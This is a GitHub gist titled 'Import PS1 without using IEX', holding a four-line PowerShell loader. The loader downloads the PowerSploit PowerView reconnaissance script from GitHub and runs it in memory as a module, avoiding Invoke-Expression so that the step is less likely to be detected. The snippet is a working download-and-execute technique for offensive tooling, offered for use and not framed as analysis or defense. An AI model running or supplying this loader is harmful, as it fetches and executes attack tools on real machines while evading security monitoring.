Created
January 19, 2024 20:22
-
-
Save natesubra/071b2df7905714a48952b920d69bfe99 to your computer and use it in GitHub Desktop.
Import PS1 without using IEX
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1" | |
$content = Invoke-RestMethod $URL | |
$scriptblock = [scriptblock]::Create("$content") | |
New-Module -ScriptBlock $scriptblock | Import-Module |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment